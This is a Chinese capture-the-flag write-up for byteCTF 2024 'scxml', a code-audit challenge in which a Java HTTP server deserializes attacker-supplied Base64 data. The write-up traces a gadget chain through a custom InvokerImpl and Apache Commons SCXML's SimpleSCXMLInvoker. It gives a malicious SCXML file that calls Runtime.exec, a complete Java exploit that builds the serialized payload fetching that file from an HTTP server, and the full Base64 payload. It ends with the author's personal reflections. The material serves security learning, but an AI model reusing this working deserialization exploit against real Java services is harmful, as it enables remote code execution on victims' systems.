0%

byteCTF2024-scxml

byteCTF2024-scxml

入门代码审计,有一些比较;

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Main {
public static void main(String[] args) throws IOException {
var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
server.createContext("/", req -> {
var code = 200;
var response = switch (req.getRequestURI().getPath()) {
case "/scxml" -> {
try {
var param = req.getRequestURI().getQuery();
yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();
} catch (Throwable e) {
e.printStackTrace();
yield ":(";
}
}
default -> {
code = 404;
yield "Not found";
}
};
req.sendResponseHeaders(code, 0);
var os = req.getResponseBody();
os.write(response.getBytes());
os.close();
});
server.start();
System.out.printf("Server listening on :%s\n", port);
}
}

把你传进去的任何 base64 解码之后进行反序列化;

依赖

四个依赖:

com.n1ght 是出题人留的一定会用,还给了 hint 是一个链接,内容是 commons scxml 这个依赖的一种打法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// copied by QST on https://blog.pyn3rd.com/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.ModelException;
import org.apache.commons.scxml2.model.SCXML;

import javax.xml.stream.XMLStreamException;
import java.io.IOException;

public class SCXMLDemo {
public static void main(String[] args) throws ModelException, XMLStreamException, IOException {

// engine to execute the scxml instance
SCXMLExecutor executor = new SCXMLExecutor();
// parse SCXML URL into SCXML model
SCXML scxml = SCXMLReader.read("http://127.0.0.1:8000/poc.xml");

// set state machine (scxml instance) to execute
executor.setStateMachine(scxml);
executor.go();

}
}

好吧也不能算是打法,只是告诉你这个东西能执行远程代码,还需要起 http 服务挂一个 xml:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')
</script>
</onentry>
</state>
</scxml>

直接找链子即可,入口点给的很明显了,在 com.n1ght.InvokerImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class InvokerImpl implements Serializable {
private final Invoker o;
private final String source;
private final Map params;

public InvokerImpl(Invoker o, String source, Map params) {
this.o = o;
this.source = source;
this.params = params;
}

public String toString() {
try {
this.o.invoke(this.source, this.params);
return "success invoke";
} catch (InvokerException var2) {
throw new RuntimeException(var2);
}
}
}

这里重写的 toString() 结合 Main.java 的:

1
java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString()

很适合作为反序列化的入口点,往下触发 o.invoke() ,进 Invoker ,只有 SimpleSCXMLInvoker 一个实现,看一下 Invoker#invoke() 这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
   private static final long serialVersionUID = 1L;
private String parentStateId;
private String eventPrefix;
private SCInstance parentSCInstance;
private SCXMLExecutor executor;
private boolean cancelled;
private static String invokePrefix = ".invoke.";
private static String invokeDone = "done";
private static String invokeCancelResponse = "cancel.response";
public SimpleSCXMLInvoker() {
}
public void invoke(String source, Map<String, Object> params) throws InvokerException {
SCXML scxml = null;

try {
scxml = SCXMLReader.read(new URL(source));
} catch (ModelException var9) {
throw new InvokerException(var9.getMessage(), var9.getCause());
} catch (IOException var10) {
throw new InvokerException(var10.getMessage(), var10.getCause());
} catch (XMLStreamException var11) {
throw new InvokerException(var11.getMessage(), var11.getCause());
}

Evaluator eval = this.parentSCInstance.getEvaluator();
this.executor = new SCXMLExecutor(eval, new SimpleDispatcher(), new SimpleErrorReporter());
Context rootCtx = eval.newContext((Context)null);
Iterator var6 = params.entrySet().iterator();

while(var6.hasNext()) {
Map.Entry<String, Object> entry = (Map.Entry)var6.next();
rootCtx.setLocal((String)entry.getKey(), entry.getValue());
}

this.executor.setRootContext(rootCtx);
this.executor.setStateMachine(scxml);
this.executor.addListener(scxml, new SimpleSCXMLListener());
this.executor.registerInvokerClass("scxml", this.getClass());

try {
this.executor.go();
} catch (ModelException var8) {
throw new InvokerException(var8.getMessage(), var8.getCause());
}

if (this.executor.getCurrentStatus().isFinal()) {
TriggerEvent te = new TriggerEvent(this.eventPrefix + invokeDone, 3);
(new AsyncTrigger(this.parentSCInstance.getExecutor(), te)).start();
}

}

结合 hint 容易知道 this.executor.go() 能执行参数 source<script> 包含的 Java 代码(JEXL 短表达式),但创建出来这个类里很多属性默认是 null,需要动手设置一下;

这里 executor 直到 this.executor.go() 之前调用了 this.parentSCInstance.getEvaluator(),这提出了四点要求:

  1. 实例化一个 SCXMLExecutor ,进而实例化一个 SCInstance
  2. 实例化一个 Evaluator
  3. 设置 this.parentSCInstance 为实例化出来的 SCInstance
  4. this.parentSCInstance.setEvaluator()

其中,SCInstance(Executor)protected 构造方法,exp 中需要反射调用;

this.parentSCInstance.setEvaluator() 也为 protected 方法,也需要反射调用;

Evaluator 有好四种,根据 <script> 执行的语句为 Java 判断传入 JexlEvaluator,事实上别的类也用不了;

首先将恶意的 xml 挂在一个 http 服务上,我使用简单的 httpd 起镜像:

1
docker run -d -p 8081:80 httpd:2.4.62-bookworm

进入文件系统将 /usr/local/apache2/htdocs/index.html 改为 exp xml 内容:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
</script>
</onentry>
</state>
</scxml>

运行完整 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import com.n1ght.InvokerImpl;
import org.apache.commons.scxml2.Evaluator;
import org.apache.commons.scxml2.SCInstance;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.env.jexl.JexlEvaluator;
import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/**
* expolit scxml
*
* @author qst137
* @version 1.0
*/
public class Exploit {
public static void main(String[] args) throws Exception {
System.out.println(new Exploit().getPayload());
}

private String getPayload() throws Exception {
// create SCInstance object
SCXMLExecutor scxmlExecutor = new SCXMLExecutor();
Constructor scInstanceConstructor = SCInstance.class.getDeclaredConstructors()[0];
scInstanceConstructor.setAccessible(true);
SCInstance scInstance = (SCInstance) scInstanceConstructor.newInstance(scxmlExecutor);

// set Evaluator of SCInstance
JexlEvaluator jexlEvaluator = new JexlEvaluator();
Method setEvalMethod = SCInstance.class.getDeclaredMethod("setEvaluator", Evaluator.class);
setEvalMethod.setAccessible(true);
setEvalMethod.invoke(scInstance, jexlEvaluator);

// create Invoker, set SCInstance and create InvokerImpl (entrypoint)
SimpleSCXMLInvoker invoker = new SimpleSCXMLInvoker();
invoker.setSCInstance(scInstance);
// empty params map
Map<String, Object> map = new HashMap<>();
InvokerImpl payload = new InvokerImpl(invoker, "http://localhost:8081/", map);

// output base64 payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream ois = new ObjectOutputStream(bos);
ois.writeObject(payload);

return new String(Base64.getEncoder().encode(bos.toByteArray()));
}
}

/*
rO0ABXNyABVjb20ubjFnaHQuSW52b2tlckltcGyTOSc2zqCsvwIAA0wAAW90ACpMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9pbnZva2UvSW52b2tlcjtMAAZwYXJhbXN0AA9MamF2YS91dGlsL01hcDtMAAZzb3VyY2V0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADNvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmludm9rZS5TaW1wbGVTQ1hNTEludm9rZXIAAAAAAAAAAQIABVoACWNhbmNlbGxlZEwAC2V2ZW50UHJlZml4cQB+AANMAAhleGVjdXRvcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MRXhlY3V0b3I7TAAQcGFyZW50U0NJbnN0YW5jZXQAJkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDSW5zdGFuY2U7TAANcGFyZW50U3RhdGVJZHEAfgADeHAAcHBzcgAkb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ0luc3RhbmNlAAAAAAAAAAICAApMAAtjb21wbGV0aW9uc3EAfgACTAAIY29udGV4dHNxAH4AAkwACWV2YWx1YXRvcnQAJUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2YWx1YXRvcjtMAAhleGVjdXRvcnEAfgAGTAAJaGlzdG9yaWVzcQB+AAJMABRpbml0aWFsU2NyaXB0Q29udGV4dHQAI0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0NvbnRleHQ7TAAOaW52b2tlckNsYXNzZXNxAH4AAkwACGludm9rZXJzcQB+AAJMABRub3RpZmljYXRpb25SZWdpc3RyeXQAMExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL05vdGlmaWNhdGlvblJlZ2lzdHJ5O0wAC3Jvb3RDb250ZXh0cQB+AAt4cHNyACVqYXZhLnV0aWwuQ29sbGVjdGlvbnMkU3luY2hyb25pemVkTWFwG3P5CUtLOXsDAAJMAAFtcQB+AAJMAAVtdXRleHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ABB4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgATeHNyADBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmVudi5qZXhsLkpleGxFdmFsdWF0b3IAAAAAAAAAAQIAAloAEGpleGxFbmdpbmVTaWxlbnRaABBqZXhsRW5naW5lU3RyaWN0eHAAAHNyACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3IAAAAAAAAAAQIACFoACXN1cGVyU3RlcEwADWN1cnJlbnRTdGF0dXN0ACJMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TdGF0dXM7TAANZXJyb3JSZXBvcnRlcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0Vycm9yUmVwb3J0ZXI7TAAPZXZlbnRkaXNwYXRjaGVydAArTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvRXZlbnREaXNwYXRjaGVyO0wAA2xvZ3QAIExvcmcvYXBhY2hlL2NvbW1vbnMvbG9nZ2luZy9Mb2c7TAAKc2NJbnN0YW5jZXEAfgAHTAAJc2VtYW50aWNzdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvU0NYTUxTZW1hbnRpY3M7TAAMc3RhdGVNYWNoaW5ldAAnTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvbW9kZWwvU0NYTUw7eHABc3IAIG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU3RhdHVzAAAAAAAAAAECAAJMAAZldmVudHN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247TAAGc3RhdGVzdAAPTGphdmEvdXRpbC9TZXQ7eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hTZXS6RIWVlri3NAMAAHhwdwwAAAAQP0AAAAAAAAB4cHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmxvZ2dpbmcuaW1wbC5KZGsxNExvZ2dlckJmt5/gKqC8AgABTAAEbmFtZXEAfgADeHB0ACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3JzcQB+AAlzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ACt4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAteHBxAH4AHnNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AL3hwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAxeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AM3hzcgAub3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5Ob3RpZmljYXRpb25SZWdpc3RyeQAAAAAAAAABAgABTAAEcmVnc3EAfgACeHBzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ADd4cHNyADZvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5TQ1hNTFNlbWFudGljc0ltcGwAAAAAAAAAAQIAAkwABmFwcExvZ3EAfgAbTAAQdGFyZ2V0Q29tcGFyYXRvcnQAQExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL3NlbWFudGljcy9UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcjt4cHNxAH4AJ3QAKG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NYTUxTZW1hbnRpY3NzcgA+b3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5zZW1hbnRpY3MuVHJhbnNpdGlvblRhcmdldENvbXBhcmF0b3IAAAAAAAAAAQIAAHhwcHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AQHhwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBCeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARHhzcQB+ADVzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AEd4cHBzcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4dAAWaHR0cDovL2xvY2FsaG9zdDo4MDgxLw==
*/

传参:

弹出计算器,本地通;

求甚解

JexlEvaluator 的构造方法看成了 protected,想,如果这个 evaluator 使用者实例化不了那这个库是干什么用的;

这样题反射也能出,想起来学区块链 web3.js public 变量也非要用 getStorageAt() 了,某种强迫症;

言归正传,一直在想这个库到底有什么用,乱看了一晚上,觉忘记睡了,刚刚上早八发现 JexlEvaluator() 是公有的;

我也不知道学习安全的该不该想这么多,事实上每次这样纠结很久最后都会发现自己是错的,而且得出的总是很浅显的结论;

但其实和 IDEA 大眼瞪小眼一整夜,收获也不能说是完全没有。